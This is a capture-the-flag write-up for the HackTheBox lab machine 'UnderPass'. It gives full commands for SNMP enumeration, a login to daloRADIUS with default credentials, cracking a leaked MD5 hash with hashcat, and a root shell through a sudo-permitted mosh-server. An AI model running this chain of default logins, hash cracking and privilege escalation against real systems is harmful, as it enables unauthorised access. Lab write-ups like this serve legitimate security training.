HTB: UnderPass

Overview

UnderPass is an easy HackTheBox Linux machine that starts with SNMP enumeration, revealing a username, hostname, and the presence of daloRADIUS, an open-source RADIUS management platform. Its operators login accepts unchanged default credentials, and the users section leaks a service account’s password hash. Cracking that hash offline gives valid SSH credentials, and root exploits a sudo rule permitting mosh-server, whose own connection-key mechanism becomes a straightforward path to a root shell.

Attack Chain

• Scan the target over TCP and UDP, finding SSH, HTTP, and SNMP
• Add the discovered hostname, underpass.htb, to /etc/hosts
• Enumerate SNMP with the public community string
• Use snmpwalk with all MIBs to leak a username, hostname, and the presence of daloRADIUS
• Find a default Apache2 page on port 80 and fuzz to discover the daloRADIUS install
• Fail to log in to the standard user portal with default credentials
• Discover a separate operators login and confirm the daloRADIUS version
• Log in successfully with unchanged default operator credentials
• Browse to the users section and recover a password hash for svcMosh
• Identify and crack the hash as MD5 with hashcat
• Use the cracked password to log in over SSH as svcMosh
• Read the user flag
• Find a sudo rule allowing /usr/bin/mosh-server to run as root
• Start a mosh-server instance with sudo and connect to it locally using its connection key
• Get a root shell and read the root flag

Enumeration

Port Scanning

We start by defining the target and running a full TCP port scan.

export IP=10.129.168.176; export NAME=UNDERPASS; echo $IP; echo $NAME; ping $IP -c 1

nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -Pn -p- -v -oA scans/nmap_allports_$NAME

The open TCP ports are:

22,80

We export the discovered ports and run a service and version scan.

ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports

nmap $IP -p$ports -sC -sV -oA scans/nmap_initial_$NAME -v

We also run a UDP top-100 scan.

sudo nmap $IP -sU --top-ports 100 -v -oA scans/nmap_top100_UDP_$NAME

The open UDP ports are:

68,161,1812,1813

ports_udp=$(cat scans/nmap_top100_UDP_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports_udp

sudo nmap $IP -p$ports_udp -sU -sC -sV -oA scans/nmap_initial_udp_$NAME -v

We find a hostname to add to /etc/hosts:

UnDerPass.htb

SNMP Enumeration

We run onesixtyone to look for community strings.

onesixtyone -c /usr/share/wordlists/seclists/Discovery/SNMP/snmp.txt $IP

We find public.

We run snmpwalk with all MIBs. First, we comment out the last line in /etc/snmp/snmp.conf.

snmpwalk -v2c -c public -m all $IP

We get interesting information: a user, steve@underpass.htb, the hostname underpass.htb, and potential software running on the target, daloradius.

Web Enumeration

Finding daloRADIUS

Browsing to port 80 shows a default Apache2 page.

We fuzz recursively with dirsearch and find a few endpoints.

dirsearch -u http://underpass.htb/daloradius -t 100 -o ./scans/dirsearch_${NAME}_${PORT}_daloradius_defaultRE.txt -r

We navigate to /daloradius/app/users/login.php.

We try default credentials, administrator:radius, without success.

We check daloradius’s GitHub page:

https://github.com/lirantal/daloradius

Following the daloradius/app/ folder structure, we see an operators directory too.

Navigating to /daloradius/app/operators redirects to another login, showing version 2.2.

We use administrator:radius again, and we’re logged in.

Foothold

Recovering svcMosh’s Hash

We navigate to Users.

We find a password hash and username, svcMosh.

412DD4759978ACFCC81DEAB01B382403

We save the hash to a file.

Cracking the Hash

We first try to identify the hash type with hashcat.

hashcat daloradius.hash

We get a lot of candidate responses.

We start with MD5.

hashcat -m 0 daloradius.hash /usr/share/wordlists/rockyou.txt --force

We have a password.

underwaterfriends

SSH as svcMosh

We try the cracked credentials over SSH.

svcMosh:underwaterfriends

ssh svcMosh@underpass.htb

We’re in.

We read the user flag.

Privilege Escalation

Exploiting Sudo Mosh-Server

We can run /usr/bin/mosh-server with root privileges.

We might be able to inject a malicious command, but investigate further first.

Research turns up known mosh-server privilege escalation techniques:

https://www.hackingdream.net/2020/03/linux-privilege-escalation-techniques.html

We start a mosh-server instance on port 60000.

sudo /usr/bin/mosh-server new -p 60000

We check with ss -ntplu to confirm it’s listening and active, then connect to it on localhost using the connection key received when the server started.

We have a root shell.

We read the root flag.

Key Takeaways

UnderPass shows how much can be learned from SNMP alone before ever touching the web application, a username, hostname, and running software were all leaked before any HTTP request was sent. daloRADIUS’s separate operators interface, left on its unchanged installation defaults, was a direct route to a service account’s hash, and MD5 remains fast enough to crack offline with a wordlist despite decades of advice against using it for password storage. Root followed a now-familiar sudo pattern: mosh-server, a legitimate remote-shell tool, was never designed with privilege escalation in mind, but granting it unrestricted sudo access handed over exactly that once its own connection mechanism could be driven locally.